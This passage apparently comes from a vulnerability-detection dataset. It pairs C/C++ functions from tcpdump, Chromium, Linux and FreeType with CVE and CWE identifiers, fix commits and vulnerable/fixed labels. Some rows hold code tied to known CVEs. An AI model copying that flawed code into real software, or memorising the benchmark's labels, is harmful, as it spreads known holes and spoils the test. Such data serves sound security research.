ND_PRINT((ndo, ", Flags: [%s]", ISIS_MASK_TLV_SHARED_RISK_GROUP(*tptr++) ? "numbered" : "unnumbered"));
tmp--;
if (tmp < sizeof(struct in_addr))
break;
ND_TCHECK2(*tptr, sizeof(struct in_addr));
ND_PRINT((ndo, "\n\t IPv4 interface address: %s", ipaddr_string(ndo, tptr)));
tptr+=sizeof(struct in_addr);
tmp-=sizeof(struct in_addr);
if (tmp < sizeof(struct in_addr))
break;
ND_TCHECK2(*tptr, sizeof(struct in_addr));
ND_PRINT((ndo, "\n\t IPv4 neighbor address: %s", ipaddr_string(ndo, tptr)));
tptr+=sizeof(struct in_addr);
tmp-=sizeof(struct in_addr);
while (tmp>=4) {
ND_TCHECK2(*tptr, 4);
ND_PRINT((ndo, "\n\t Link-ID: 0x%08x", EXTRACT_32BITS(tptr)));
tptr+=4;
tmp-=4;
}
break;
case ISIS_TLV_LSP:
tlv_lsp = (const struct isis_tlv_lsp *)tptr;
while(tmp>=sizeof(struct isis_tlv_lsp)) {
ND_TCHECK((tlv_lsp->lsp_id)[LSP_ID_LEN-1]);
ND_PRINT((ndo, "\n\t lsp-id: %s",
isis_print_id(tlv_lsp->lsp_id, LSP_ID_LEN)));
ND_TCHECK2(tlv_lsp->sequence_number, 4);
ND_PRINT((ndo, ", seq: 0x%08x", EXTRACT_32BITS(tlv_lsp->sequence_number)));
ND_TCHECK2(tlv_lsp->remaining_lifetime, 2);
ND_PRINT((ndo, ", lifetime: %5ds", EXTRACT_16BITS(tlv_lsp->remaining_lifetime)));
ND_TCHECK2(tlv_lsp->checksum, 2);
ND_PRINT((ndo, ", chksum: 0x%04x", EXTRACT_16BITS(tlv_lsp->checksum)));
tmp-=sizeof(struct isis_tlv_lsp);
tlv_lsp++;
}
break;
case ISIS_TLV_CHECKSUM:
if (tmp < ISIS_TLV_CHECKSUM_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_CHECKSUM_MINLEN);
ND_PRINT((ndo, "\n\t checksum: 0x%04x ", EXTRACT_16BITS(tptr)));
/* do not attempt to verify the checksum if it is zero
* most likely a HMAC-MD5 TLV is also present and
* to avoid conflicts the checksum TLV is zeroed.
* see rfc3358 for details
*/
osi_print_cksum(ndo, optr, EXTRACT_16BITS(tptr), tptr-optr,
length);
break;
case ISIS_TLV_POI:
if (tlv_len >= SYSTEM_ID_LEN + 1) {
ND_TCHECK2(*tptr, SYSTEM_ID_LEN + 1);
ND_PRINT((ndo, "\n\t Purge Originator System-ID: %s",
isis_print_id(tptr + 1, SYSTEM_ID_LEN)));
}
if (tlv_len == 2 * SYSTEM_ID_LEN + 1) {
ND_TCHECK2(*tptr, 2 * SYSTEM_ID_LEN + 1);
ND_PRINT((ndo, "\n\t Received from System-ID: %s",
isis_print_id(tptr + SYSTEM_ID_LEN + 1, SYSTEM_ID_LEN)));
}
break;
case ISIS_TLV_MT_SUPPORTED:
if (tmp < ISIS_TLV_MT_SUPPORTED_MINLEN)
break;
while (tmp>1) {
/* length can only be a multiple of 2, otherwise there is
something broken -> so decode down until length is 1 */
if (tmp!=1) {
mt_len = isis_print_mtid(ndo, tptr, "\n\t ");
if (mt_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=mt_len;
tmp-=mt_len;
} else {
ND_PRINT((ndo, "\n\t invalid MT-ID"));
break;
}
}
break;
case ISIS_TLV_RESTART_SIGNALING:
/* first attempt to decode the flags */
if (tmp < ISIS_TLV_RESTART_SIGNALING_FLAGLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_RESTART_SIGNALING_FLAGLEN);
ND_PRINT((ndo, "\n\t Flags [%s]",
bittok2str(isis_restart_flag_values, "none", *tptr)));
tptr+=ISIS_TLV_RESTART_SIGNALING_FLAGLEN;
tmp-=ISIS_TLV_RESTART_SIGNALING_FLAGLEN;
/* is there anything other than the flags field? */
if (tmp == 0)
break;
if (tmp < ISIS_TLV_RESTART_SIGNALING_HOLDTIMELEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_RESTART_SIGNALING_HOLDTIMELEN);
ND_PRINT((ndo, ", Remaining holding time %us", EXTRACT_16BITS(tptr)));
tptr+=ISIS_TLV_RESTART_SIGNALING_HOLDTIMELEN;
tmp-=ISIS_TLV_RESTART_SIGNALING_HOLDTIMELEN;
/* is there an additional sysid field present ?*/
if (tmp == SYSTEM_ID_LEN) {
ND_TCHECK2(*tptr, SYSTEM_ID_LEN);
ND_PRINT((ndo, ", for %s", isis_print_id(tptr,SYSTEM_ID_LEN)));
}
break;
case ISIS_TLV_IDRP_INFO:
if (tmp < ISIS_TLV_IDRP_INFO_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_IDRP_INFO_MINLEN);
ND_PRINT((ndo, "\n\t Inter-Domain Information Type: %s",
tok2str(isis_subtlv_idrp_values,
"Unknown (0x%02x)",
*tptr)));
switch (*tptr++) {
case ISIS_SUBTLV_IDRP_ASN:
ND_TCHECK2(*tptr, 2); /* fetch AS number */
ND_PRINT((ndo, "AS Number: %u", EXTRACT_16BITS(tptr)));
break;
case ISIS_SUBTLV_IDRP_LOCAL:
case ISIS_SUBTLV_IDRP_RES:
default:
if (!print_unknown_data(ndo, tptr, "\n\t ", tlv_len - 1))
return(0);
break;
}
break;
case ISIS_TLV_LSP_BUFFERSIZE:
if (tmp < ISIS_TLV_LSP_BUFFERSIZE_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_LSP_BUFFERSIZE_MINLEN);
ND_PRINT((ndo, "\n\t LSP Buffersize: %u", EXTRACT_16BITS(tptr)));
break;
case ISIS_TLV_PART_DIS:
while (tmp >= SYSTEM_ID_LEN) {
ND_TCHECK2(*tptr, SYSTEM_ID_LEN);
ND_PRINT((ndo, "\n\t %s", isis_print_id(tptr, SYSTEM_ID_LEN)));
tptr+=SYSTEM_ID_LEN;
tmp-=SYSTEM_ID_LEN;
}
break;
case ISIS_TLV_PREFIX_NEIGH:
if (tmp < sizeof(struct isis_metric_block))
break;
ND_TCHECK2(*tptr, sizeof(struct isis_metric_block));
ND_PRINT((ndo, "\n\t Metric Block"));
isis_print_metric_block(ndo, (const struct isis_metric_block *)tptr);
tptr+=sizeof(struct isis_metric_block);
tmp-=sizeof(struct isis_metric_block);
while(tmp>0) {
ND_TCHECK2(*tptr, 1);
prefix_len=*tptr++; /* read out prefix length in semioctets*/
if (prefix_len < 2) {
ND_PRINT((ndo, "\n\t\tAddress: prefix length %u < 2", prefix_len));
break;
}
tmp--;
if (tmp < prefix_len/2)
break;
ND_TCHECK2(*tptr, prefix_len / 2);
ND_PRINT((ndo, "\n\t\tAddress: %s/%u",
isonsap_string(ndo, tptr, prefix_len / 2), prefix_len * 4));
tptr+=prefix_len/2;
tmp-=prefix_len/2;
}
break;
case ISIS_TLV_IIH_SEQNR:
if (tmp < ISIS_TLV_IIH_SEQNR_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_IIH_SEQNR_MINLEN); /* check if four bytes are on the wire */
ND_PRINT((ndo, "\n\t Sequence number: %u", EXTRACT_32BITS(tptr)));
break;
case ISIS_TLV_VENDOR_PRIVATE:
if (tmp < ISIS_TLV_VENDOR_PRIVATE_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_VENDOR_PRIVATE_MINLEN); /* check if enough byte for a full oui */
vendor_id = EXTRACT_24BITS(tptr);
ND_PRINT((ndo, "\n\t Vendor: %s (%u)",
tok2str(oui_values, "Unknown", vendor_id),
vendor_id));
tptr+=3;
tmp-=3;
if (tmp > 0) /* hexdump the rest */
if (!print_unknown_data(ndo, tptr, "\n\t\t", tmp))
return(0);
break;
/*
* FIXME those are the defined TLVs that lack a decoder
* you are welcome to contribute code ;-)
*/
case ISIS_TLV_DECNET_PHASE4:
case ISIS_TLV_LUCENT_PRIVATE:
case ISIS_TLV_IPAUTH:
case ISIS_TLV_NORTEL_PRIVATE1:
case ISIS_TLV_NORTEL_PRIVATE2:
default:
if (ndo->ndo_vflag <= 1) {
if (!print_unknown_data(ndo, pptr, "\n\t\t", tlv_len))
return(0);
}
break;
}
/* do we want to see an additionally hexdump ? */
if (ndo->ndo_vflag> 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", tlv_len))
return(0);
}
pptr += tlv_len;
packet_len -= tlv_len;
}
if (packet_len != 0) {
ND_PRINT((ndo, "\n\t %u straggler bytes", packet_len));
}
return (1);
trunc:
ND_PRINT((ndo, "%s", tstr));
return (1);
trunctlv:
ND_PRINT((ndo, "\n\t\t"));
ND_PRINT((ndo, "%s", tstr));
return(1);
}
|
C
|
tcpdump
| 0 |
CVE-2013-6621
|
https://www.cvedetails.com/cve/CVE-2013-6621/
|
CWE-399
|
https://github.com/chromium/chromium/commit/4039d2fcaab746b6c20017ba9bb51c3a2403a76c
|
4039d2fcaab746b6c20017ba9bb51c3a2403a76c
|
Add logging to figure out which IPC we're failing to deserialize in RenderFrame.
BUG=369553
[email protected]
Review URL: https://codereview.chromium.org/263833020
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@268565 0039d316-1c4b-4281-b951-d872f2087c98
|
void RenderFrameImpl::OnSelectRange(const gfx::Point& start,
const gfx::Point& end) {
Send(new ViewHostMsg_SelectRange_ACK(GetRenderWidget()->routing_id()));
base::AutoReset<bool> handling_select_range(&handling_select_range_, true);
frame_->selectRange(start, end);
}
|
void RenderFrameImpl::OnSelectRange(const gfx::Point& start,
const gfx::Point& end) {
Send(new ViewHostMsg_SelectRange_ACK(GetRenderWidget()->routing_id()));
base::AutoReset<bool> handling_select_range(&handling_select_range_, true);
frame_->selectRange(start, end);
}
|
C
|
Chrome
| 0 |
CVE-2015-8952
|
https://www.cvedetails.com/cve/CVE-2015-8952/
|
CWE-19
|
https://github.com/torvalds/linux/commit/be0726d33cb8f411945884664924bed3cb8c70ee
|
be0726d33cb8f411945884664924bed3cb8c70ee
|
ext2: convert to mbcache2
The conversion is generally straightforward. We convert filesystem from
a global cache to per-fs one. Similarly to ext4 the tricky part is that
xattr block corresponding to found mbcache entry can get freed before we
get buffer lock for that block. So we have to check whether the entry is
still valid after getting the buffer lock.
Signed-off-by: Jan Kara <[email protected]>
Signed-off-by: Theodore Ts'o <[email protected]>
|
static void __exit exit_ext2_fs(void)
{
unregister_filesystem(&ext2_fs_type);
destroy_inodecache();
}
|
static void __exit exit_ext2_fs(void)
{
unregister_filesystem(&ext2_fs_type);
destroy_inodecache();
exit_ext2_xattr();
}
|
C
|
linux
| 1 |
CVE-2015-6780
|
https://www.cvedetails.com/cve/CVE-2015-6780/
| null |
https://github.com/chromium/chromium/commit/f2cba0d13b3a6d76dedede66731e5ca253d3b2af
|
f2cba0d13b3a6d76dedede66731e5ca253d3b2af
|
Fix UAF in Origin Info Bubble and permission settings UI.
In addition to fixing the UAF, will this also fix the problem of the bubble
showing over the previous tab (if the bubble is open when the tab it was opened
for closes).
BUG=490492
TBR=tedchoc
Review URL: https://codereview.chromium.org/1317443002
Cr-Commit-Position: refs/heads/master@{#346023}
|
void WebsiteSettingsPopupAndroid::Destroy(JNIEnv* env, jobject obj) {
delete this;
}
|
void WebsiteSettingsPopupAndroid::Destroy(JNIEnv* env, jobject obj) {
delete this;
}
|
C
|
Chrome
| 0 |
CVE-2018-6171
|
https://www.cvedetails.com/cve/CVE-2018-6171/
|
CWE-416
|
https://github.com/chromium/chromium/commit/c5c6320f80159dc41dffc3cfbf0298925c7dcf1b
|
c5c6320f80159dc41dffc3cfbf0298925c7dcf1b
|
chrome.bluetoothSocket: Fix regression in send()
In https://crrev.com/c/997098, params_ was changed to a local variable,
but it needs to last longer than that since net::WrappedIOBuffer may use
the data after the local variable goes out of scope.
This CL changed it back to be an instance variable.
Bug: 851799
Change-Id: I392f8acaef4c6473d6ea4fbee7209445aa09112e
Reviewed-on: https://chromium-review.googlesource.com/1103676
Reviewed-by: Toni Barzic <[email protected]>
Commit-Queue: Sonny Sasaka <[email protected]>
Cr-Commit-Position: refs/heads/master@{#568137}
|
SocketInfo CreateSocketInfo(int socket_id, BluetoothApiSocket* socket) {
DCHECK_CURRENTLY_ON(BluetoothApiSocket::kThreadId);
SocketInfo socket_info;
socket_info.socket_id = socket_id;
if (socket->name()) {
socket_info.name.reset(new std::string(*socket->name()));
}
socket_info.persistent = socket->persistent();
if (socket->buffer_size() > 0) {
socket_info.buffer_size.reset(new int(socket->buffer_size()));
}
socket_info.paused = socket->paused();
socket_info.connected = socket->IsConnected();
if (socket->IsConnected())
socket_info.address.reset(new std::string(socket->device_address()));
socket_info.uuid.reset(new std::string(socket->uuid().canonical_value()));
return socket_info;
}
|
SocketInfo CreateSocketInfo(int socket_id, BluetoothApiSocket* socket) {
DCHECK_CURRENTLY_ON(BluetoothApiSocket::kThreadId);
SocketInfo socket_info;
socket_info.socket_id = socket_id;
if (socket->name()) {
socket_info.name.reset(new std::string(*socket->name()));
}
socket_info.persistent = socket->persistent();
if (socket->buffer_size() > 0) {
socket_info.buffer_size.reset(new int(socket->buffer_size()));
}
socket_info.paused = socket->paused();
socket_info.connected = socket->IsConnected();
if (socket->IsConnected())
socket_info.address.reset(new std::string(socket->device_address()));
socket_info.uuid.reset(new std::string(socket->uuid().canonical_value()));
return socket_info;
}
|
C
|
Chrome
| 0 |
CVE-2017-8287
|
https://www.cvedetails.com/cve/CVE-2017-8287/
|
CWE-119
|
https://git.savannah.gnu.org/cgit/freetype/freetype2.git/commit/?id=3774fc08b502c3e685afca098b6e8a195aded6a0
|
3774fc08b502c3e685afca098b6e8a195aded6a0
| null |
skip_literal_string( FT_Byte* *acur,
FT_Byte* limit )
{
FT_Byte* cur = *acur;
FT_Int embed = 0;
FT_Error error = FT_ERR( Invalid_File_Format );
unsigned int i;
while ( cur < limit )
{
FT_Byte c = *cur;
cur++;
if ( c == '\\' )
{
/* Red Book 3rd ed., section `Literal Text Strings', p. 29: */
/* A backslash can introduce three different types */
/* of escape sequences: */
/* - a special escaped char like \r, \n, etc. */
/* - a one-, two-, or three-digit octal number */
/* - none of the above in which case the backslash is ignored */
if ( cur == limit )
/* error (or to be ignored?) */
break;
switch ( *cur )
{
/* skip `special' escape */
case 'n':
case 'r':
case 't':
case 'b':
case 'f':
case '\\':
case '(':
case ')':
cur++;
break;
default:
/* skip octal escape or ignore backslash */
for ( i = 0; i < 3 && cur < limit; i++ )
{
if ( !IS_OCTAL_DIGIT( *cur ) )
break;
cur++;
}
}
}
else if ( c == '(' )
embed++;
else if ( c == ')' )
{
embed--;
if ( embed == 0 )
{
error = FT_Err_Ok;
break;
}
}
}
*acur = cur;
return error;
}
|
skip_literal_string( FT_Byte* *acur,
FT_Byte* limit )
{
FT_Byte* cur = *acur;
FT_Int embed = 0;
FT_Error error = FT_ERR( Invalid_File_Format );
unsigned int i;
while ( cur < limit )
{
FT_Byte c = *cur;
cur++;
if ( c == '\\' )
{
/* Red Book 3rd ed., section `Literal Text Strings', p. 29: */
/* A backslash can introduce three different types */
/* of escape sequences: */
/* - a special escaped char like \r, \n, etc. */
/* - a one-, two-, or three-digit octal number */
/* - none of the above in which case the backslash is ignored */
if ( cur == limit )
/* error (or to be ignored?) */
break;
switch ( *cur )
{
/* skip `special' escape */
case 'n':
case 'r':
case 't':
case 'b':
case 'f':
case '\\':
case '(':
case ')':
cur++;
break;
default:
/* skip octal escape or ignore backslash */
for ( i = 0; i < 3 && cur < limit; i++ )
{
if ( !IS_OCTAL_DIGIT( *cur ) )
break;
cur++;
}
}
}
else if ( c == '(' )
embed++;
else if ( c == ')' )
{
embed--;
if ( embed == 0 )
{
error = FT_Err_Ok;
break;
}
}
}
*acur = cur;
return error;
}
|
C
|
savannah
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/dc3857aac17be72c96f28d860d875235b3be349a
|
dc3857aac17be72c96f28d860d875235b3be349a
|
Unreviewed, rolling out r142736.
http://trac.webkit.org/changeset/142736
https://bugs.webkit.org/show_bug.cgi?id=109716
Broke ABI, nightly builds crash on launch (Requested by ap on
#webkit).
Patch by Sheriff Bot <[email protected]> on 2013-02-13
Source/WebKit2:
* Shared/APIClientTraits.cpp:
(WebKit):
* Shared/APIClientTraits.h:
* UIProcess/API/C/WKPage.h:
* UIProcess/API/gtk/WebKitLoaderClient.cpp:
(attachLoaderClientToView):
* WebProcess/InjectedBundle/API/c/WKBundlePage.h:
* WebProcess/qt/QtBuiltinBundlePage.cpp:
(WebKit::QtBuiltinBundlePage::QtBuiltinBundlePage):
Tools:
* MiniBrowser/mac/WK2BrowserWindowController.m:
(-[WK2BrowserWindowController awakeFromNib]):
* WebKitTestRunner/InjectedBundle/InjectedBundlePage.cpp:
(WTR::InjectedBundlePage::InjectedBundlePage):
* WebKitTestRunner/TestController.cpp:
(WTR::TestController::createWebViewWithOptions):
git-svn-id: svn://svn.chromium.org/blink/trunk@142762 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
bool InjectedBundlePage::shouldBeginEditing(WKBundlePageRef page, WKBundleRangeHandleRef range, const void* clientInfo)
{
return static_cast<InjectedBundlePage*>(const_cast<void*>(clientInfo))->shouldBeginEditing(range);
}
|
bool InjectedBundlePage::shouldBeginEditing(WKBundlePageRef page, WKBundleRangeHandleRef range, const void* clientInfo)
{
return static_cast<InjectedBundlePage*>(const_cast<void*>(clientInfo))->shouldBeginEditing(range);
}
|
C
|
Chrome
| 0 |
CVE-2014-4027
|
https://www.cvedetails.com/cve/CVE-2014-4027/
|
CWE-264
|
https://github.com/torvalds/linux/commit/4442dc8a92b8f9ad8ee9e7f8438f4c04c03a22dc
|
4442dc8a92b8f9ad8ee9e7f8438f4c04c03a22dc
|
target/rd: Refactor rd_build_device_space + rd_release_device_space
This patch refactors rd_build_device_space() + rd_release_device_space()
into rd_allocate_sgl_table() + rd_release_device_space() so that they
may be used seperatly for setup + release of protection information
scatterlists.
Also add explicit memset of pages within rd_allocate_sgl_table() based
upon passed 'init_payload' value.
v2 changes:
- Drop unused sg_table from rd_release_device_space (Wei)
Cc: Martin K. Petersen <[email protected]>
Cc: Christoph Hellwig <[email protected]>
Cc: Hannes Reinecke <[email protected]>
Cc: Sagi Grimberg <[email protected]>
Cc: Or Gerlitz <[email protected]>
Signed-off-by: Nicholas Bellinger <[email protected]>
|
int __init rd_module_init(void)
{
int ret;
ret = transport_subsystem_register(&rd_mcp_template);
if (ret < 0) {
return ret;
}
return 0;
}
|
int __init rd_module_init(void)
{
int ret;
ret = transport_subsystem_register(&rd_mcp_template);
if (ret < 0) {
return ret;
}
return 0;
}
|
C
|
linux
| 0 |
CVE-2018-20068
|
https://www.cvedetails.com/cve/CVE-2018-20068/
|
CWE-20
|
https://github.com/chromium/chromium/commit/4f8104c528f0147c7527718d5aa7c9c38c8220d0
|
4f8104c528f0147c7527718d5aa7c9c38c8220d0
|
Abort navigations on 304 responses.
A recent change (https://chromium-review.googlesource.com/1161479)
accidentally resulted in treating 304 responses as downloads. This CL
treats them as ERR_ABORTED instead. This doesn't exactly match old
behavior, which passed them on to the renderer, which then aborted them.
The new code results in correctly restoring the original URL in the
omnibox, and has a shiny new test to prevent future regressions.
Bug: 882270
Change-Id: Ic73dcce9e9596d43327b13acde03b4ed9bd0c82e
Reviewed-on: https://chromium-review.googlesource.com/1252684
Commit-Queue: Matt Menke <[email protected]>
Reviewed-by: Camille Lamy <[email protected]>
Cr-Commit-Position: refs/heads/master@{#595641}
|
void StartWithoutNetworkService(
net::URLRequestContextGetter* url_request_context_getter,
storage::FileSystemContext* upload_file_system_context,
ServiceWorkerNavigationHandleCore* service_worker_navigation_handle_core,
AppCacheNavigationHandleCore* appcache_handle_core,
std::unique_ptr<NavigationRequestInfo> request_info,
std::unique_ptr<NavigationUIData> navigation_ui_data) {
DCHECK_CURRENTLY_ON(BrowserThread::IO);
DCHECK(!base::FeatureList::IsEnabled(network::features::kNetworkService));
DCHECK(!started_);
started_ = true;
request_info_ = std::move(request_info);
frame_tree_node_id_ = request_info_->frame_tree_node_id;
web_contents_getter_ = base::BindRepeating(
&GetWebContentsFromFrameTreeNodeID, frame_tree_node_id_);
navigation_ui_data_ = std::move(navigation_ui_data);
ResourceDispatcherHostImpl* rph = ResourceDispatcherHostImpl::Get();
if (rph)
global_request_id_ = rph->MakeGlobalRequestID();
default_request_handler_factory_ = base::BindRepeating(
&URLLoaderRequestController::
CreateDefaultRequestHandlerForNonNetworkService,
base::Unretained(this), base::Unretained(url_request_context_getter),
base::Unretained(upload_file_system_context),
base::Unretained(service_worker_navigation_handle_core),
base::Unretained(appcache_handle_core));
if (request_info_->common_params.url.SchemeIsBlob() &&
request_info_->blob_url_loader_factory) {
url_loader_ = ThrottlingURLLoader::CreateLoaderAndStart(
network::SharedURLLoaderFactory::Create(
std::move(request_info_->blob_url_loader_factory)),
CreateURLLoaderThrottles(), -1 /* routing_id */, 0 /* request_id? */,
network::mojom::kURLLoadOptionNone, resource_request_.get(), this,
kNavigationUrlLoaderTrafficAnnotation,
base::ThreadTaskRunnerHandle::Get());
return;
}
if (!blink::ServiceWorkerUtils::IsServicificationEnabled() ||
!service_worker_navigation_handle_core) {
url_loader_ = ThrottlingURLLoader::CreateLoaderAndStart(
base::MakeRefCounted<SingleRequestURLLoaderFactory>(
default_request_handler_factory_.Run(
false /* was_request_intercepted */)),
CreateURLLoaderThrottles(), -1 /* routing_id */, 0 /* request_id */,
network::mojom::kURLLoadOptionNone, resource_request_.get(),
this /* client */, kNavigationUrlLoaderTrafficAnnotation,
base::ThreadTaskRunnerHandle::Get());
return;
}
std::unique_ptr<NavigationLoaderInterceptor> service_worker_interceptor =
CreateServiceWorkerInterceptor(*request_info_,
service_worker_navigation_handle_core);
if (!service_worker_interceptor) {
url_loader_ = ThrottlingURLLoader::CreateLoaderAndStart(
base::MakeRefCounted<SingleRequestURLLoaderFactory>(
default_request_handler_factory_.Run(
false /* was_request_intercepted */)),
CreateURLLoaderThrottles(), -1 /* routing_id */, 0 /* request_id */,
network::mojom::kURLLoadOptionNone, resource_request_.get(),
this /* client */, kNavigationUrlLoaderTrafficAnnotation,
base::ThreadTaskRunnerHandle::Get());
return;
}
interceptors_.push_back(std::move(service_worker_interceptor));
Restart();
}
|
void StartWithoutNetworkService(
net::URLRequestContextGetter* url_request_context_getter,
storage::FileSystemContext* upload_file_system_context,
ServiceWorkerNavigationHandleCore* service_worker_navigation_handle_core,
AppCacheNavigationHandleCore* appcache_handle_core,
std::unique_ptr<NavigationRequestInfo> request_info,
std::unique_ptr<NavigationUIData> navigation_ui_data) {
DCHECK_CURRENTLY_ON(BrowserThread::IO);
DCHECK(!base::FeatureList::IsEnabled(network::features::kNetworkService));
DCHECK(!started_);
started_ = true;
request_info_ = std::move(request_info);
frame_tree_node_id_ = request_info_->frame_tree_node_id;
web_contents_getter_ = base::BindRepeating(
&GetWebContentsFromFrameTreeNodeID, frame_tree_node_id_);
navigation_ui_data_ = std::move(navigation_ui_data);
ResourceDispatcherHostImpl* rph = ResourceDispatcherHostImpl::Get();
if (rph)
global_request_id_ = rph->MakeGlobalRequestID();
default_request_handler_factory_ = base::BindRepeating(
&URLLoaderRequestController::
CreateDefaultRequestHandlerForNonNetworkService,
base::Unretained(this), base::Unretained(url_request_context_getter),
base::Unretained(upload_file_system_context),
base::Unretained(service_worker_navigation_handle_core),
base::Unretained(appcache_handle_core));
if (request_info_->common_params.url.SchemeIsBlob() &&
request_info_->blob_url_loader_factory) {
url_loader_ = ThrottlingURLLoader::CreateLoaderAndStart(
network::SharedURLLoaderFactory::Create(
std::move(request_info_->blob_url_loader_factory)),
CreateURLLoaderThrottles(), -1 /* routing_id */, 0 /* request_id? */,
network::mojom::kURLLoadOptionNone, resource_request_.get(), this,
kNavigationUrlLoaderTrafficAnnotation,
base::ThreadTaskRunnerHandle::Get());
return;
}
if (!blink::ServiceWorkerUtils::IsServicificationEnabled() ||
!service_worker_navigation_handle_core) {
url_loader_ = ThrottlingURLLoader::CreateLoaderAndStart(
base::MakeRefCounted<SingleRequestURLLoaderFactory>(
default_request_handler_factory_.Run(
false /* was_request_intercepted */)),
CreateURLLoaderThrottles(), -1 /* routing_id */, 0 /* request_id */,
network::mojom::kURLLoadOptionNone, resource_request_.get(),
this /* client */, kNavigationUrlLoaderTrafficAnnotation,
base::ThreadTaskRunnerHandle::Get());
return;
}
std::unique_ptr<NavigationLoaderInterceptor> service_worker_interceptor =
CreateServiceWorkerInterceptor(*request_info_,
service_worker_navigation_handle_core);
if (!service_worker_interceptor) {
url_loader_ = ThrottlingURLLoader::CreateLoaderAndStart(
base::MakeRefCounted<SingleRequestURLLoaderFactory>(
default_request_handler_factory_.Run(
false /* was_request_intercepted */)),
CreateURLLoaderThrottles(), -1 /* routing_id */, 0 /* request_id */,
network::mojom::kURLLoadOptionNone, resource_request_.get(),
this /* client */, kNavigationUrlLoaderTrafficAnnotation,
base::ThreadTaskRunnerHandle::Get());
return;
}
interceptors_.push_back(std::move(service_worker_interceptor));
Restart();
}
|
C
|
Chrome
| 0 |
CVE-2013-0882
|
https://www.cvedetails.com/cve/CVE-2013-0882/
|
CWE-119
|
https://github.com/chromium/chromium/commit/25f9415f43d607d3d01f542f067e3cc471983e6b
|
25f9415f43d607d3d01f542f067e3cc471983e6b
|
Add HTMLFormControlElement::supportsAutofocus to fix a FIXME comment.
This virtual function should return true if the form control can hanlde
'autofocucs' attribute if it is specified.
Note: HTMLInputElement::supportsAutofocus reuses InputType::isInteractiveContent
because interactiveness is required for autofocus capability.
BUG=none
TEST=none; no behavior changes.
Review URL: https://codereview.chromium.org/143343003
git-svn-id: svn://svn.chromium.org/blink/trunk@165432 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
bool HTMLTextAreaElement::matchesReadWritePseudoClass() const
{
return !isReadOnly();
}
|
bool HTMLTextAreaElement::matchesReadWritePseudoClass() const
{
return !isReadOnly();
}
|
C
|
Chrome
| 0 |
CVE-2018-14879
|
https://www.cvedetails.com/cve/CVE-2018-14879/
|
CWE-120
|
https://github.com/the-tcpdump-group/tcpdump/commit/9ba91381954ad325ea4fd26b9c65a8bd9a2a85b6
|
9ba91381954ad325ea4fd26b9c65a8bd9a2a85b6
|
(for 4.9.3) CVE-2018-14879/fix -V to fail invalid input safely
get_next_file() did not check the return value of strlen() and
underflowed an array index if the line read by fgets() from the file
started with \0. This caused an out-of-bounds read and could cause a
write. Add the missing check.
This vulnerability was discovered by Brian Carpenter & Geeknik Labs.
|
read_infile(char *fname)
{
register int i, fd, cc;
register char *cp;
struct stat buf;
fd = open(fname, O_RDONLY|O_BINARY);
if (fd < 0)
error("can't open %s: %s", fname, pcap_strerror(errno));
if (fstat(fd, &buf) < 0)
error("can't stat %s: %s", fname, pcap_strerror(errno));
cp = malloc((u_int)buf.st_size + 1);
if (cp == NULL)
error("malloc(%d) for %s: %s", (u_int)buf.st_size + 1,
fname, pcap_strerror(errno));
cc = read(fd, cp, (u_int)buf.st_size);
if (cc < 0)
error("read %s: %s", fname, pcap_strerror(errno));
if (cc != buf.st_size)
error("short read %s (%d != %d)", fname, cc, (int)buf.st_size);
close(fd);
/* replace "# comment" with spaces */
for (i = 0; i < cc; i++) {
if (cp[i] == '#')
while (i < cc && cp[i] != '\n')
cp[i++] = ' ';
}
cp[cc] = '\0';
return (cp);
}
|
read_infile(char *fname)
{
register int i, fd, cc;
register char *cp;
struct stat buf;
fd = open(fname, O_RDONLY|O_BINARY);
if (fd < 0)
error("can't open %s: %s", fname, pcap_strerror(errno));
if (fstat(fd, &buf) < 0)
error("can't stat %s: %s", fname, pcap_strerror(errno));
cp = malloc((u_int)buf.st_size + 1);
if (cp == NULL)
error("malloc(%d) for %s: %s", (u_int)buf.st_size + 1,
fname, pcap_strerror(errno));
cc = read(fd, cp, (u_int)buf.st_size);
if (cc < 0)
error("read %s: %s", fname, pcap_strerror(errno));
if (cc != buf.st_size)
error("short read %s (%d != %d)", fname, cc, (int)buf.st_size);
close(fd);
/* replace "# comment" with spaces */
for (i = 0; i < cc; i++) {
if (cp[i] == '#')
while (i < cc && cp[i] != '\n')
cp[i++] = ' ';
}
cp[cc] = '\0';
return (cp);
}
|
C
|
tcpdump
| 0 |
CVE-2018-18358
|
https://www.cvedetails.com/cve/CVE-2018-18358/
|
CWE-20
|
https://github.com/chromium/chromium/commit/da790f920bbc169a6805a4fb83b4c2ab09532d91
|
da790f920bbc169a6805a4fb83b4c2ab09532d91
|
Implicitly bypass localhost when proxying requests.
This aligns Chrome's behavior with the Windows and macOS proxy resolvers (but not Firefox).
Concretely:
* localhost names (as determined by net::IsLocalhost) now implicitly bypass the proxy
* link-local IP addresses implicitly bypass the proxy
The implicit rules are handled by ProxyBypassRules, and it is possible to override them when manually configuring proxy settings (but not when using PAC or auto-detect).
This change also adds support for the "<-loopback>" proxy bypass rule, with similar semantics as it has on Windows (removes the implicit bypass rules for localhost and link-local).
The compatibility risk of this change should be low as proxying through localhost was not universally supported. It is however an idiom used in testing (a number of our own tests had such a dependency). Impacted users can use the "<-loopback>" bypass rule as a workaround.
Bug: 413511, 899126, 901896
Change-Id: I263ca21ef9f12d4759a20cb4751dc3261bda6ac0
Reviewed-on: https://chromium-review.googlesource.com/c/1303626
Commit-Queue: Eric Roman <[email protected]>
Reviewed-by: Dominick Ng <[email protected]>
Reviewed-by: Tarun Bansal <[email protected]>
Reviewed-by: Matt Menke <[email protected]>
Reviewed-by: Sami Kyöstilä <[email protected]>
Cr-Commit-Position: refs/heads/master@{#606112}
|
void OnFirstResult(std::unique_ptr<runtime::EvaluateResult> result) {
EXPECT_TRUE(result->GetResult()->HasValue());
EXPECT_EQ(3, result->GetResult()->GetValue()->GetInt());
}
|
void OnFirstResult(std::unique_ptr<runtime::EvaluateResult> result) {
